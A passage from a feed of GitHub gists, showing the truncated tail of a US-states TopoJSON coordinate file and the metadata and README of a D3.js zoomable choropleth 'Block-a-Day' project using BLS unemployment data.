<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/c3f658314b0cf3ce1f714631ff62ad04">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/12768d82017fb435c62c90649d9071d8</link>
      <guid isPermaLink="true">https://gist.github.com/12768d82017fb435c62c90649d9071d8</guid>
      <pubDate>Wed, 21 Sep 2016 17:57:30 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T17:57:30.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>4195</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6241</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

